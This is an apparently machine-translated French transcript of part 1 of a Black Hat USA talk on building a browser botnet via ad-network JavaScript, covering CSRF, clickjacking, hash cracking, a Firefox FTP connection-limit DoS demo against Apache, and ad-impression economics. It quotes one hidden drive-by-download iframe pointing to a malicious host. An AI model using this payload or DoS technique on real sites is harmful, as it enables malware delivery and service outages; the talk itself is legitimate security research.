Conférence BLACK HAT USA. Botnet à partir d'un million de navigateurs. Partie 1

Jeremy Grossman: Je suis heureux de vous souhaiter la bienvenue à tous et je tiens à dire que nous préparons cette présentation depuis 6 mois, nous nous efforçons donc de partager nos réalisations dès que possible. Je tiens à remercier l'ensemble du personnel de Black Hat pour l'invitation, nous revenons ici chaque année, nous adorons cet événement. Merci pour le chapeau noir! Nous allons essayer de rendre la présentation d'aujourd'hui amusante, mais nous voulons d'abord nous présenter.



Je suis le fondateur et le directeur du développement de nouveaux produits pour WhiteHat Security, situé à Santa Clara, en Californie. Notre entreprise compte environ 300 employés.

Matt est le directeur général du centre de recherche sur les risques de sécurité. Chez les "à tête blanche", nous nous engageons principalement à pénétrer des sites Web, à y trouver des vulnérabilités et à le faire à grande échelle. Mais nous avons encore du temps pour la recherche, donc aujourd'hui nous allons commencer à pirater les navigateurs et les utiliser pour pirater des sites et vous montrer le cycle complet de la sécurité Web. J'ai parlé pour la première fois ici en 2002. La plupart du temps, je fais des recherches sur le développement et la présentation de nos produits.

Matt Johansson: J'ai de l'expérience en tant que testeur de pénétration (pentester), et j'ai commencé mon travail dans l'entreprise avec des sites de piratage, car avant cela, je dirigeais moi-même l'armée des hackers. Je fais des recherches intéressantes et j'en prends beaucoup pour que vous puissiez me contacter.



Jeremy Grossman: Alors, commençons notre fête. Je ne pense pas qu'il y ait au moins une personne qui n'ait pas accès à Internet aujourd'hui. Peut-être que maintenant vous n'êtes pas connecté à Internet, mais quand vous rentrez chez vous, toutes les personnes présentes ici et toutes les personnes que vous connaissez interagiront avec un navigateur. Ce n'est qu'une partie de notre vie quotidienne, et je vais vous décrire ce que cela signifie, mais Internet est principalement conçu pour fonctionner. Nous ne piratons pas Internet, nous essayons de l'utiliser à nos propres fins.

Lorsque vous visitez une page Web, peu importe le navigateur que vous utilisez - Chrome, Firefox, Safari, IE ou Opera, dans tous les cas, Internet fonctionne de manière à contrôler entièrement votre navigateur lorsque vous êtes sur cette page ou lorsque vous recherchez la suivante. page.

Le JavaScript ou le flash sur cette page peut amener le navigateur à faire n'importe quoi - n'importe quel type de réponse aux demandes vers n'importe où sur Internet ou intranet. Cela comprend CSRF - fausses demandes intersites, XSS - scripts intersites, détournement de clics et de nombreuses autres astuces qui vous permettent de prendre le contrôle du navigateur.

Nous allons maintenant essayer de comprendre ce qu'est la sécurité du navigateur, mais l'idée principale est d'avoir une idée générale du contrôle du navigateur sans utiliser d'exploits zero-day, contre lesquels il n'y a pas de correctifs.

Matt Johanson: Si vous ne savez rien de XSS, vous pouvez nous poser des questions à ce sujet.

Jeremy Grossman: Maintenant, je veux parler brièvement des attaques de navigateur qui utilisent HTML ou JavaScript malveillant:

  • Interrogation du navigateur d'interrogation du navigateur
  • fausses demandes intersites; reconnaissance de la connexion par détection de connexion; désanonymisation;
    Piratage de l'intranet
    Scriptage croisé automatique
    malware traditionnel pénétrant dans l'ordinateur de l'utilisateur lors du téléchargement à l'aide de la méthode Drive-by-Download;
    le craquage de la force brute du hachage;
    Attaques DDoS au niveau de l'application.




    Sur cette diapositive, vous voyez un exemple d'interrogation du navigateur - c'est juste du JavaScript qui reste dans le navigateur lorsque vous accédez à un autre site. Ceci est une capture d'écran de CNN. Lorsque vous visitez leur site, la métrique y est connectée à votre navigateur, qui effectue une enquête complète et reçoit toute une série d'informations sur votre affichage: quel navigateur vous avez, quelle version, quels plugins sont connectés, quel système d'exploitation vous avez. Ils le font parce qu'ils veulent savoir qui a visité leur site. De nos jours, c'est une technologie très courante.

    Ensuite, considérons une technologie plus avancée - la contrefaçon JavaScript intersite. Cela ne nécessite pas beaucoup d'efforts, vous n'avez pas besoin d'exécuter un script malveillant, juste votre navigateur avec JavaScript ou HTML est utilisé pour pirater n'importe quel autre site. CSRF utilise votre historique de recherche Google et force votre navigateur à télécharger ou télécharger du contenu illégal, à initier un virement bancaire.Si vous vous connectez à votre compte personnel sur le site Web de la banque, cela vous obligera à envoyer des messages abusifs ou à voter pour Ed Snowden en tant que personne de l'année.

    Matt Johanson: CSRF peut vous obliger non seulement à télécharger les tubes de Justin Bieber, mais également à télécharger du porno pour enfants.

    Jeremy Grossman: donc, la première ligne de la diapositive force votre navigateur à injecter du contenu malveillant dans n'importe quel autre site, c'est-à-dire qu'il peut faire de vous un pirate informatique, le second vous oblige à télécharger le torrent et fait de vous un pirate qui viole tous les types de licences DMCA, le troisième l'envoie au fan club Justin Bieber, quatrième - vote sur un site.



    Ce qui suit est la reconnaissance de la connexion de détection de connexion - c'est lorsque vous allez sur le site que nous contrôlons. Nous pouvons savoir que vous êtes connecté à votre compte sur Google, Facebook, Twitter, Linkedin. Il existe 6 technologies différentes pour extraire les données d'autorisation de votre navigateur. Nous étudions vos préférences et réalisons une attaque ciblée sur un utilisateur spécifique.



    Une autre attaque est le détournement de clics, il vous permet de révéler vos données dès que vous cliquez sur une image ou un bouton. Disons que vous vous êtes connecté à Twitter ou Facebook et que vous avez aimé l'image d'un chat dansant. Vous cliquez sur quelque chose d'inoffensif, mais en réalité vous cliquez sur l'un de ces boutons et révélez vos données. Un seul clic - et nous connaissons votre nom, votre emplacement, nous connaissons les données que vous avez publiées sur votre profil sur Twitter ou LinkedIn.



    Matt Johanson: Certaines entreprises sont engagées dans un tel suivi, car votre nom complet peut leur être très utile pour la publicité ciblée de leurs produits ou services.

    Jeremy Grossman: Jusqu'à présent, nous sommes passés sur des choses bien connues, du moins bien connues du public de Black Hat. Vous êtes également conscient de la rupture de l'intranet Intranet en injectant du JavaScript malveillant via HTTP dans votre routeur DSL qui fournit la connectivité réseau.



    Cela a été découvert pour la première fois en 2006 et jusqu'à présent, cette vulnérabilité n'a pas été corrigée. De plus, nous avons le type d'attaque «scriptage intersite automatique», lorsque vous utilisez iframe, une injection de code XSS malveillant est effectuée, ce qui vous permet de voler vos cookies, vos mots de passe enregistrés, etc. Cela se fait principalement via le portail du fournisseur de messagerie.



    Enfin, vous pouvez télécharger des logiciels malveillants traditionnels à l'aide de la méthode Drive-by-Downloads en injectant la ligne suivante:

    <iframe src="http: //lotmachinesguide .cn/ in.cgi?income56" width=1 height=1 style="visibility: hidden"></iframe> 

    En conséquence, votre navigateur est envoyé vers des sites infectés pour télécharger du contenu malveillant, qui contrôle ensuite votre ordinateur. Ici, l'objet de l'attaque peut être le navigateur lui-même ou ses extensions, principalement ces attaques sont utilisées pour créer un réseau de botnet, et afin d'éviter cette menace, vous devez installer les correctifs à temps, et il est préférable de supprimer complètement Java. En bref, ce sont les méthodes d'attaque sur lesquelles nous allons nous concentrer dans cet exposé.

    Matt Johansson: Jeremy a parlé de choses déjà mentionnées lors des précédentes conférences BlackHat. Je voudrais parler d'une autre étude axée sur l'informatique distribuée utilisant JavaScript pour casser les mots de passe. C'est une bonne chose, car vous pouvez simplement l'écrire et cela fonctionne très, très rapidement. Les recherches de Lavakumar Kuppan suggèrent qu'avec la métrique qu'il a inventée, vous pouvez réellement pirater ou essayer de casser cent mille hachages MD5 par seconde en utilisant JavaScript si vous pouvez distribuer ce JavaScript.

    La diapositive suivante montre le fonctionnement du système informatique distribué Ravan basé sur JavaScript, qui peut attaquer les hachages sur plusieurs navigateurs à l'aide d'une attaque par force brute.

    Il utilise HTML5 pour exécuter JavaScript en arrière-plan de WebWorkers, y compris de nombreux ordinateurs sur lesquels un navigateur est ouvert dans un seul réseau de recherche de mot de passe. Elle trouve le mot de passe utilisateur qui correspond à un hachage spécifique, triant de 60 à 70 000 mots de passe par seconde, 12 WebWorkers sont utilisés pour cela.



    C'est une chose très rapide, plus tard, nous nous concentrerons sur la façon dont il est distribué. En plus de ce problème, nous recherchons sérieusement des applications qui provoquent une panne de service (DoS) depuis plusieurs mois. Le navigateur peut envoyer un nombre étonnamment élevé de demandes GET à un site distant en utilisant COR de WebWorkers. Au cours de la recherche, il a été découvert qu'environ 10 000 requêtes par minute peuvent être envoyées à partir d'un seul navigateur. Dans le même temps, le navigateur ne garde pas de nombreuses connexions TCP ouvertes, il lance simplement simultanément de nombreuses requêtes HTTP. Vous pouvez utiliser à la fois un seul navigateur et plusieurs navigateurs destinés à un même site. Mais à tout moment, vous pouvez augmenter l'intensité de l'attaque en augmentant le nombre de connexions.

    Jeremy Grossman: Je vais parler des limitations du navigateur sur les connexions.



    Un outil appelé Browserscope indique le nombre de connexions qu'un navigateur particulier ou une version de navigateur spécifique peut prendre en charge à la fois. Tous les navigateurs ne prennent pas en charge plus de 6 connexions avec un seul nom d'hôte, et le nombre maximal de connexions, par exemple, dans les versions 8 et 9 d'IE atteint 35. Chaque navigateur a une limite sur le nombre de connexions, non pas pour la sécurité, mais pour la stabilité et les performances, car vous allez sur le site , envoyez une demande et votre navigateur commence à télécharger du contenu.

    Nous avons vérifié ces indicateurs et nous pouvons dire que la plupart des navigateurs fournissent vraiment du travail avec 6, avec un maximum de 7 connexions. La diapositive suivante montre le fonctionnement de Browserscope, qui teste les performances de divers navigateurs, créant de nombreuses connexions simultanées au serveur. Dans ce cas, il y avait six connexions stables pour Firefox.

    Cependant, certains navigateurs vous permettent de contourner cette limitation, et dans nos tests, nous avons utilisé Firefox pour provoquer une défaillance du service. La diapositive suivante montre le script Apache Killer, qui a aidé à contourner la restriction du navigateur, à créer un flux entier de demandes simultanées au serveur et à augmenter le nombre de connexions ouvertes simultanément de 6 à 300.



    Le protocole HTTP a été utilisé ici, mais si vous utilisez FTP sur le port 80, le nombre de connexions augmente à 400, ce qui peut vraiment "tuer" le serveur Apache.

    Matt Johanson: La différence importante ici est que nous l'avons fait en utilisant FTP, qui ne peut pas utiliser le protocole HTTP. Par conséquent, nous n'avons pas pu vérifier de nombreuses positions en haut de la liste et n'avons pas pu exécuter de nombreuses applications de RSE. Ce ne sont que les connexions que nous avons essayé d'ouvrir en même temps, donc ce n'est pas une attaque DoS très traditionnelle, lorsqu'un attaquant tente de lancer autant de mégabits ou gigabits par seconde ou par heure que possible, c'est juste le nombre autorisé de connexions ouvertes simultanément.

    Jeremy Grossman: maintenant je vais exécuter le serveur Apache sur mon ordinateur portable, il s'agit d'une simple version "vanille" d'Apache 2.4.4, où tous les paramètres de base sont définis par défaut et ne peuvent pas avoir d'impact significatif.



    Nous allons nous concentrer sur le premier cycle, je vais installer tout un tas de demandes d'images sur le serveur ici, vous voyez comment les demandes sont envoyées et le serveur ne répond pas pendant 3 secondes, puis les images commencent à se charger en série.

    Matt Johanson: C'est un aspect des performances du navigateur, pas un aspect de la sécurité. Nous pourrons peut-être en abuser au détriment de la sécurité, vous le verrez dans quelques minutes. Mais le but de cette action est de télécharger toutes ces images à la fois.

    Jeremy Grossman: J'ai oublié de mentionner le statut du serveur, sur l'écran en bas à gauche vous voyez que le statut montre 7 connexions ouvertes simultanément, une pour la fenêtre du navigateur et les 6 autres pour 6 images téléchargées. Ceci est très important, car maintenant nous essayons de briser la bordure supérieure des connexions dans ce navigateur particulier. Maintenant, je vais définir la valeur de connexion à 0 pour tuer ces connexions et montrer un moyen de contourner les restrictions dans Firefox.

    Nous bouclons simplement jusqu'à 100 connexions en utilisant FTP pour le même nom d'hôte. Ils n'ont pas tous besoin d'une URL, car c'est FTP, il n'envoie pas HTTP. Regardez dans le coin inférieur gauche - l'état du serveur a changé, il affiche 100 connexions, 100 pages à visualiser. Passons maintenant à 400 connexions.

    La page est mise à jour toutes les secondes, et lorsque le nombre de connexions atteint 270, le serveur souffre d'une «panique» qu'il n'a pas le temps de traiter plus de demandes. Tout ce que nous faisons est de télécharger ce code sur une page Web, et Apache essaie de porter le nombre de connexions ouvertes simultanées à 300. Et nous faisons tout cela avec un seul navigateur.

    À l'arrière de l'arrière-plan, vous voyez un autre défilement, nous avons un autre système sur Amazon, c'est le système AWS. Je ne veux pas la tuer avec une attaque DoS pour le moment, alors je vous ai proposé une autre option de démonstration.
    Matt Johansson: Maintenant, nous savons ce que nous pouvons faire, au moins avec Firefox. Il ne s'agit pas d'une attaque traditionnelle par déni de service et le botnet n'est pas utilisé ici. Nous avons encore quelques possibilités, mais en général, les avantages du piratage avec cette méthode d'attaque sont les suivants:

    • aucun malware, aucun exploit ou attaque zero-day n'est nécessaire;
    • pas de traces, pas d'anxiété, interdiction de la mise en cache du navigateur;
    • par défaut, tout navigateur est vulnérable à cette attaque;
    • très facile à mettre en œuvre, vous avez vous-même vu à quel point le code est simple;
    • comme nous le disons - cela fonctionne comme il se doit. Internet est potentiellement conçu pour fonctionner de cette manière, c'est-à-dire qu'il doit garantir que plusieurs images sont téléchargées le plus rapidement possible.

    Par conséquent, je ne sais pas qui peut résoudre ce problème. Concentrons-nous sur la question de la propagation de cette méthode d'attaque à l'aide de code JavaScript malveillant. Nous ne prendrons pas en compte les façons classiques dont les spammeurs l'utilisent, comme l'envoi d'e-mails. Considérez la distribution par un utilisateur régulier, c'est-à-dire la mise à l'échelle du point de vue d'un utilisateur régulier:

    • utilisation de sites à fort trafic dont vous êtes propriétaire (blog, logiciels, etc.);
    • Injections HTML dans des sites populaires, des forums, etc.
    • la méthode «l'homme au milieu» via un routeur Wi-Fi;
    • "Empoisonnement" des moteurs de recherche;
    • piratage de sites par injection massive de vers SQL;
    • widgets tiers (météo, compteurs, trackers, etc.).

    Douglas Crockford a déclaré: «La façon la plus fiable et la plus rentable d'injecter du code malveillant est d'acheter des publicités.» Par conséquent, nous examinerons le fonctionnement des réseaux publicitaires, car ils sont nombreux sur Internet. La diapositive suivante montre un écosystème publicitaire particulier.



    Ainsi, en haut, vous voyez que les annonceurs doivent d'abord vous montrer quelque chose, par exemple un bouquet de fleurs pour une date. Ils y dépensent de l'argent, mais ils ont besoin de sites pour apporter leurs produits au consommateur final. Ils veulent garder entre leurs mains des distributeurs de masse - éditeurs d'informations telles que blogs, actualités, réseaux sociaux, critiques, sites populaires visités par de nombreux utilisateurs. Il existe un pont entre les annonceurs et les éditeurs appelé Réseaux publicitaires. Ils dépensent de l'argent pour publier leurs informations sur ces réseaux, il peut s'agir d'images, de bannières contextuelles, de JavaScript - tout ce que vous voulez voir. Vous êtes les petits personnages bleus au bas de la diapositive.

    Matt Johansson: Ce matin, nous sommes allés sur le site Web de TMZ et avons pris cette capture d'écran incroyable là-bas.



    Vous voyez le bloc d'annonces tout en haut de la page et en bas à droite.

    Jeremy Grossman: Tous les blocs d'annonces que vous voyez sont du code JavaScript situé directement devant les utilisateurs du site Web TMZ et servant à attirer leur attention afin de gagner de l'argent. Il existe des dizaines et des centaines de ces réseaux publicitaires, mais gardez à l'esprit que l'image du logo de notre entreprise dans le coin supérieur droit de la diapositive n'est pas un réseau publicitaire! Certains de ces réseaux utilisent JavaScript, d'autres non.

    J'ai donc écrit aux propriétaires d'un réseau publicitaire une lettre expliquant ce que j'aimerais placer du JavaScript publicitaire tiers dans leur système. Un des gars m'a répondu très rapidement, littéralement en quelques minutes. Il a écrit qu'ils n'autorisent la publication d'un tel code que de grandes sociétés bien connues telles que DoubleClick, en qui ils ont confiance et qui scannent de leur côté tous les documents à la recherche de vulnérabilités potentielles. Et si je travaille avec des serveurs publicitaires tiers aussi importants que DFA et similaires, ils trouveront la possibilité d'héberger mon JavaScript.



    Tous les réseaux de publicité traditionnels se comportent de cette façon - vous leur payez de l'argent, obtenez quelques mesures et ils placent votre annonce. Il existe un autre type de réseau que nous avons rencontré. Nous ne vous donnons délibérément pas leurs noms, car nous ne savons pas si nous aurons des ennuis à cause de cela.



    Ces systèmes fonctionnent de cette façon - vous payez un peu d'argent pour quelqu'un assis à la maison devant l'ordinateur le soir pour afficher votre page via son navigateur pendant un certain temps. Il s'avère que vous achetez du temps de navigation pour un sou - dans ce cas, 10 mille minutes de visionnage peuvent être achetées pour environ 10,5 $.

    Matt Johansson: Une circonstance importante est que cette méthode de vues payantes est largement utilisée pour déchiffrer un mot de passe. Parce qu'un attaquant a besoin de beaucoup de temps pour déchiffrer un mot de passe ou une connexion à l'aide de la méthode de force brute, et ces réseaux publicitaires ne garantissent pas que votre navigateur affichera des publicités, mais n'attrapera pas de code malveillant qui démarre dès qu'une publicité est chargée sur la page. Vous payez pour cela, mais si une personne reste assise pendant une minute, 10 minutes, 2 secondes, rien ne garantit que vous ne paierez pas le fait que vous pouvez être utilisé pour une attaque DoS.

    Jeremy Grossman: faites attention à la dernière ligne - vous pouvez acheter un million de minutes de visionnage, c'est presque 2 ans de temps de navigation, pour environ 650 $. C'est donc une bonne métrique!

    Maintenant, Internet fonctionne sur la publicité et ça vaut un sou. Revenons à l'ordre du jour et concentrons-nous sur les deux derniers types d'attaques - le craquage de hachage par force brute et les attaques DDoS au niveau de l'application. Vous voyez qu'ils peuvent être facilement mis à l'échelle d'un million par le navigateur, ou simplement payer 650 $ et commencer à pirater le mot de passe pendant une durée équivalente à deux ans. Nous allons vous montrer quelques démonstrations, mais d'abord, parlons d'économie.

    Matt Johansson: Vous avez vu cette capture d'écran de l'achat de minutes, mais les réseaux publicitaires ont leur propre langue, ce qui n'a pas été facile à apprendre pour moi. Les annonceurs appellent cela des «impressions», mais nous parlons de services publicitaires payants sur des pages spécifiques. Au cours des derniers mois, le prix est resté autour de 50 cents pour 1 000 «impressions», ou pour mille impressions d'annonces. Il existe des étiquettes de prix CPC et coût de mille CPM.



    Par conséquent, lorsque je dis «impression», vous devez imaginer le navigateur comme un bot, comme si vous aviez embauché une personne pour télécharger vos annonces sur le navigateur et prendre le contrôle de ce navigateur pour le moment. Donc, ils l'appellent «impression», et nous l'appelons «bot».

    Jeremy Grossman: Il n'y a pas d'obstacles pour empêcher les méchants, les vrais méchants de voler des cartes de crédit, de pouvoir utiliser ces cartes volées pour acheter des minutes publicitaires ou des «impressions».

    Matt Johanson: Dans la capture d'écran suivante, vous voyez les statistiques sur la régie publicitaire que nous avons utilisées dans nos recherches.



    Nous avions l'impression d'être devant le tableau de bord, de cliquer sur des boutons et d'essayer de faire apparaître nos annonces sur ce réseau. Nous n'avons montré aucune annonce, juste des mannequins et n'avons pas exécuté notre code JavaScript. Nous nous sommes simplement essayés en tant qu'annonceurs et avons essayé de rester aussi invisibles que possible pour l'utilisateur et les propriétaires du réseau publicitaire, afin qu'ils nous permettent simplement d'utiliser nos méthodes de piratage pacifiques, en commandant nos propres serveurs Web. Pendant les quelques mois de nos recherches, nous n'avons même pas dépensé 10 dollars.

    Vous pouvez définir des limites quotidiennes pour tous les types d'articles publicitaires, vous pouvez choisir des mots clés spécifiques sur lesquels les utilisateurs devraient se concentrer, choisir la géolocalisation de l'audience, des systèmes d'exploitation ou des navigateurs que votre publicité affichera, vous pouvez concentrer la publicité sur les appareils mobiles ou fixes des utilisateurs.

    Je viens de choisir le public le plus large possible et j'ai choisi le mot «ordinateurs» comme mot clé. Le premier jour, nous n'avons acheté que 15 clics, cela nous a coûté 4 $, ce qui nous a valu 8326 «impressions». Imaginez qu'avec un investissement aussi rentable, votre code puisse être téléchargé sur 8326 navigateurs sur une période de 24 heures!

    Conférence BLACK HAT USA. Botnet à partir d'un million de navigateurs. 2e partie


    Merci de rester avec nous. Aimez-vous nos articles? Vous voulez voir des matériaux plus intéressants? Soutenez-nous en passant une commande ou en le recommandant à vos amis, une réduction de 30% pour les utilisateurs Habr sur un analogue unique de serveurs d'entrée de gamme que nous avons inventés pour vous: Toute la vérité sur VPS (KVM) E5-2650 v4 (6 cœurs) 10 Go DDR4 240 Go SSD 1 Gbps à partir de 20 $ ou comment diviser le serveur? (les options sont disponibles avec RAID1 et RAID10, jusqu'à 24 cœurs et jusqu'à 40 Go de DDR4).

    VPS (KVM) E5-2650 v4 (6 cœurs) 10 Go DDR4 240 Go SSD 1 Gbit / s jusqu'en décembre gratuitement en payant pour une période de six mois, vous pouvez commander ici .

    Dell R730xd 2 fois moins cher? Nous avons seulement 2 x Intel Dodeca-Core Xeon E5-2650v4 128 Go DDR4 6x480 Go SSD 1 Gbps 100 TV à partir de 249 $ aux Pays-Bas et aux États-Unis! Pour en savoir plus sur la création d'un bâtiment d'infrastructure. classe utilisant des serveurs Dell R730xd E5-2650 v4 coûtant 9 000 euros pour un sou?

Source: https://habr.com/ru/post/fr426241/


All Articles